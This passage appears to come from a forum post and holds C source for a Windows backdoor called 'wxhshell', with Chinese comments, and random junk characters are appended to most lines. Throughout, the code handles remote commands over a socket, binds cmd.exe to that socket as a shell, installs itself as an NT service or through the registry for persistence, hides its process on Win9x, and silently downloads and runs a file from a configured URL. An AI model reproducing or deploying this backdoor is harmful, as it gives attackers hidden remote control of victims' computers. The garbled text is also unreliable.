Efu/v<  
    switch(cmd[0]) { |9mGX9q  
  C^!~WFy  
  // 帮助 k>#-NPU$  
  case '?': { u+ 8wBb5!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5yf`3vV|3@  
    break; b7HT<$Wg  
  } UZo[]$"Q`  
  // 安装 8< z   
  case 'i': { \j0016;  
    if(Install()) nr%P11U\c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c22L]Sxo  
    else dl+c+w"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O`.IE? h#  
    break; l?KP /0`  
    } $Q`\-  
  // 卸载 VW:Voc  
  case 'r': { >| hqt8lY  
    if(Uninstall()) 6\m'MV`R!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &zHY0fxX  
    else fjHd"!)3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )SfM`W)Y  
    break; >ajcfG .k(  
    } D"P<;@ef  
  // 显示 wxhshell 所在路径 o 'Z W  
  case 'p': { :-j/Y'H_  
    char svExeFile[MAX_PATH]; /Tp>aW%}"  
    strcpy(svExeFile,"\n\r"); {%z5^o1)  
      strcat(svExeFile,ExeFile); 7/bF0 4~%  
        send(wsh,svExeFile,strlen(svExeFile),0); I}\`l+  
    break; cLIeo{H  
    } _ Uv3g lK  
  // 重启 ^NrC8,p  
  case 'b': { #3YYE5cB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S>R40T=e  
    if(Boot(REBOOT)) Zc=#Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z`ZML+;~6  
    else { XpdjWLO]C<  
    closesocket(wsh); $~T|v7Y%  
    ExitThread(0); 2l+t-  
    } sfC/Q"Zs  
    break; #ihHAiy3  
    } 4iJ4g%]  
  // 关机 -9(nsaV  
  case 'd': { }5y ]kn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NZuylQ)0  
    if(Boot(SHUTDOWN)) ":L d}~>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ar`U / %Cu  
    else { BsYJIKfW  
    closesocket(wsh); E>kgEfzxP  
    ExitThread(0); A~8-{F 31  
    } +\Je B/F  
    break; $lF\FC  
    } `W%R  
  // 获取shell =]-D_$S~  
  case 's': { J_&G\b.9/  
    CmdShell(wsh); .7n`]S/  
    closesocket(wsh); |@dY[VK>  
    ExitThread(0); % &i Wc_"  
    break; nb(Od,L  
  } y&2O)z!B  
  // 退出 @*JS[w$1  
  case 'x': { 7/FF}d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *YWk.  
    CloseIt(wsh); CoM?cS S  
    break; 7@ mP;K0  
    } 34qfP{9!N  
  // 离开 fUB+9G(Bx  
  case 'q': { 't3nh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  -to3I  
    closesocket(wsh); 2%@<A  
    WSACleanup(); |$c~Jq  
    exit(1); M;E$ ]Z9  
    break; jn>RE   
        } '];=1loD  
  } HeM-  
  } ASaNac-3  
jNP%BNd1f  
  // 提示信息 * v u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >2K:O\&  
} t+n+_X  
  } ~Q5 i0s%  
VY "i>Ae  
  return; 0/zgjT|fe  
} w(nQ:;oC  
-\}Ix>  
// shell模块句柄 \_3#%%z  
int CmdShell(SOCKET sock) IoWK 8x  
{ %o#|zaK  
STARTUPINFO si; k_7agW  
ZeroMemory(&si,sizeof(si)); a9TKp$LP`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2R`}}4<Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M}`G}*  
PROCESS_INFORMATION ProcessInfo; `Qo}4nuRs  
char cmdline[]="cmd"; ^I6GH?19>e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A@JZK+WB}  
  return 0; D2Dk7//82Y  
} p`3$NCJN  
=s1Pf__<k  
// 自身启动模式 /SQ1i}%  
int StartFromService(void) W&Kjh|[1QZ  
{ IP l]$j>N  
typedef struct #nJ&`woZt  
{ oHkjMqju  
  DWORD ExitStatus; [Xo}CU  
  DWORD PebBaseAddress; 2?\L#=<F  
  DWORD AffinityMask; #BX^"J{~  
  DWORD BasePriority; } OAH/BW  
  ULONG UniqueProcessId; I xE }v%&  
  ULONG InheritedFromUniqueProcessId; o|7 h  
}   PROCESS_BASIC_INFORMATION; f)!7/+9>  
hS +R /7  
PROCNTQSIP NtQueryInformationProcess; y7Sj^muBY  
g'1ASMuR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -K%~2M<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rgXD>yu(  
U Zc%XZ`"V  
  HANDLE             hProcess; Rz!!;<ye8  
  PROCESS_BASIC_INFORMATION pbi; /V)4B4  
cp<jwcc!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d NgjM Q  
  if(NULL == hInst ) return 0; `d. 4 L.],  
Yq0=4#_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bcC+af0L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3eP7vy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,Frdi>7 ~  
>PMLjXK  
  if (!NtQueryInformationProcess) return 0; 1# X*kF  
XbKNH>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D^e7%FX  
  if(!hProcess) return 0; o!ycVY$yW  
ZMI vzQYI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O\KSPy7YQ  
;m cu(J  
  CloseHandle(hProcess); 3WQ"3^G  
KHJk}]K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ![a~y`<K,  
if(hProcess==NULL) return 0; [W2GLd]  
UAq%Y8KA  
HMODULE hMod; J{bNx8.&  
char procName[255]; 1I -LGe[Q  
unsigned long cbNeeded; 7JHS8C<]  
|8YP8o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !wZ  9P  
s/J/kKj*s  
  CloseHandle(hProcess); A T'P=)F@  
[Y=X^"PF  
if(strstr(procName,"services")) return 1; // 以服务启动 aR~Od Ys  
v5N2$Sqp*  
  return 0; // 注册表启动 j}$Up7pW  
} T^~9'KDd  
Om=*b#k  
// 主模块 ,t=12R]>  
int StartWxhshell(LPSTR lpCmdLine) C #A\Rfi  
{ czv )D\*  
  SOCKET wsl; 7yK1Q_XY>  
BOOL val=TRUE; hfuGCD6F`  
  int port=0; C5^eD^[c  
  struct sockaddr_in door; ~8 w(M  
O#5ll2?  
  if(wscfg.ws_autoins) Install(); xFY< ns  
p~xrl jP$  
port=atoi(lpCmdLine); A, )G$yT\  
']]&<B}mz  
if(port<=0) port=wscfg.ws_port; /NDuAjp[@  
j$8i!C  
  WSADATA data; 'F[ C 4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L!]~ J?)  
/-W-MP=Wd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "<J%@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); * (4TasQu  
  door.sin_family = AF_INET; Mn=5yU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n_Ka+Y<  
  door.sin_port = htons(port); 96.z\[0VZ  
U8 b1 sz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +L$,jZqS  
closesocket(wsl); QF fKEMN  
return 1; oe5.tkc  
} @}e'(ju%R  
o,sw[  
  if(listen(wsl,2) == INVALID_SOCKET) { XFg.Z+ #  
closesocket(wsl); !^|%Z  
return 1; ]%y~cq  
} WSY&\8   
  Wxhshell(wsl); f 2#9E+IQ  
  WSACleanup(); ($oO, c'z  
_0rHxh7}q  
return 0; P~+?:buqc  
ZQ^kS9N i  
} Y,bw:vX  
Qjj:r~l  
// 以NT服务方式启动 Y"uFlHN&i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V+dfV`*k  
{ 1@ j>2>i  
DWORD   status = 0; K+` Vn  
  DWORD   specificError = 0xfffffff; lbES9o5  
!_`T8pJ`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k"P2J}4eO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RTSR-<{z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %;0w2W  
  serviceStatus.dwWin32ExitCode     = 0; a.5s5g)8  
  serviceStatus.dwServiceSpecificExitCode = 0; }eX_p6bBw  
  serviceStatus.dwCheckPoint       = 0; ?;,Al`/^  
  serviceStatus.dwWaitHint       = 0; r<oI4px  
v`hv5wQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eh'mSf^=p  
  if (hServiceStatusHandle==0) return; 4:}`X  
oT5xe[{yj  
status = GetLastError(); 'D-#,X C  
  if (status!=NO_ERROR) s9A'{F  
{ ~MY (6P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5Ag>,>kJ6  
    serviceStatus.dwCheckPoint       = 0; )).;p_nLZ  
    serviceStatus.dwWaitHint       = 0; lq@Vb{Z  
    serviceStatus.dwWin32ExitCode     = status; ![5<\  
    serviceStatus.dwServiceSpecificExitCode = specificError; 81_3{OrE<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bE>3D#V<  
    return; .;tO;j |6  
  } F!>K8q  
P:k(=CzZ@J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g]xZ^M+  
  serviceStatus.dwCheckPoint       = 0; (W/jkm  
  serviceStatus.dwWaitHint       = 0; =D xJt7J1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U30)r+&  
} l1cBY{3QD  
4Sg!NPuu7&  
// 处理NT服务事件,比如:启动、停止 pOI+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z K8#gif@  
{ ):78GVp  
switch(fdwControl) w=e,gNO  
{ , m|9L{  
case SERVICE_CONTROL_STOP: l3MbCBX2  
  serviceStatus.dwWin32ExitCode = 0; R~*Y@_oD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lO $M6l  
  serviceStatus.dwCheckPoint   = 0; xN"KSQpu  
  serviceStatus.dwWaitHint     = 0; 5,AQ~_,'\  
  { iL 4SL}P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~vl:Tb  
  } !v;r3*#Nky  
  return; 4_.k Q"'DH  
case SERVICE_CONTROL_PAUSE: N~>?w#?J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rg[e~##  
  break; Br~%S?4"o  
case SERVICE_CONTROL_CONTINUE: KR^peWR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `4EOy:a  
  break; qk,cp},2K  
case SERVICE_CONTROL_INTERROGATE: <$yer)_J!k  
  break; '*,4F'  
}; H+5]3>O-$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [S4\fy0  
} pV("NJj!  
sId5pY!  
// 标准应用程序主函数 ONjc},_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~v54$#CB  
{ Y!7P>?)`,X  
a+~o: 5  
// 获取操作系统版本 "tj#P  
OsIsNt=GetOsVer(); 0KQ8; &a|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qBNiuV;*  
,xh9,EpBk  
  // 从命令行安装 yX~[yH+Pn  
  if(strpbrk(lpCmdLine,"iI")) Install(); CXQ ?P  
#wjBMR%  
  // 下载执行文件 'j3'n0o  
if(wscfg.ws_downexe) { ppnj.tLz;r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o7T|w~F~R  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7.Mh$?;i9  
} iE Oyc59  
|"-,C}O  
if(!OsIsNt) { y*(YZzF  
// 如果时win9x,隐藏进程并且设置为注册表启动 qJ/C*Wqic  
HideProc(); ZkIQ-;wx  
StartWxhshell(lpCmdLine); m5p~>]}fYF  
} ;Pa(nUE@  
else d$TW](Bby  
  if(StartFromService()) PW`Tuj  
  // 以服务方式启动 ,pASjFWi  
  StartServiceCtrlDispatcher(DispatchTable); !qpu /  
else c~'kW`sNV  
  // 普通方式启动 Zb }PP;O  
  StartWxhshell(lpCmdLine); JgB# EoF  
( 7?%Hg  
return 0; qC4-J)8 Wk  
}
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只看该作者 1 发表于: 2006-10-10
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